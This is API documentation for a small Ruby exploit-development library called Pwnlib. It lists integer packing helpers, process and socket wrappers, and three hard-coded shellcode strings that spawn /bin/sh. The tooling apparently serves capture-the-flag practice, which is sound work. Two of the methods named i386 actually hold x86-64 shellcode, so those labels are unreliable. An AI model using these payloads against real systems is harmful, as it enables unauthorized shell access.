Module: Pwnlib
- Defined in:
- lib/pwnlib.rb,
lib/pwnlib/version.rb
Constant Summary collapse
- VERSION =
"0.2.1"
Instance Method Summary collapse
- #i386_shellcode ⇒ Object
- #i386_shellcode_alt ⇒ Object
- #i386_shellcode_magic ⇒ Object
- #p32(num) ⇒ Object
- #p64(num) ⇒ Object
- #process(name) ⇒ Object
- #remote(name, port) ⇒ Object
- #u32(num) ⇒ Object
- #u64(num) ⇒ Object
Instance Method Details
#i386_shellcode ⇒ Object
35 36 37 |
# File 'lib/pwnlib.rb', line 35 def i386_shellcode "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80".force_encoding("ASCII-8BIT") end |
#i386_shellcode_alt ⇒ Object
39 40 41 |
# File 'lib/pwnlib.rb', line 39 def i386_shellcode_alt "\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05".force_encoding("ASCII-8BIT") end |
#i386_shellcode_magic ⇒ Object
43 44 45 |
# File 'lib/pwnlib.rb', line 43 def i386_shellcode_magic "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05".force_encoding("ASCII-8BIT") end |
#p32(num) ⇒ Object
10 11 12 13 |
# File 'lib/pwnlib.rb', line 10 def p32 num num = num.hex if num.is_a? String [num].pack("L") end |
#p64(num) ⇒ Object
5 6 7 8 |
# File 'lib/pwnlib.rb', line 5 def p64 num num = num.hex if num.is_a? String [num].pack("Q") end |
#process(name) ⇒ Object
23 24 25 26 27 28 |
# File 'lib/pwnlib.rb', line 23 def process name stdin, stdout, wait_thr = Open3.popen2e name stdout.sync stdin.sync ProcessRun.new stdin, stdout end |
#remote(name, port) ⇒ Object
30 31 32 33 |
# File 'lib/pwnlib.rb', line 30 def remote name, port s = TCPSocket.new name, port ProcessRun.new s, s end |
#u32(num) ⇒ Object
15 16 17 |
# File 'lib/pwnlib.rb', line 15 def u32 num num.unpack("L")[0] end |
#u64(num) ⇒ Object
19 20 21 |
# File 'lib/pwnlib.rb', line 19 def u64 num num.unpack("Q")[0] end |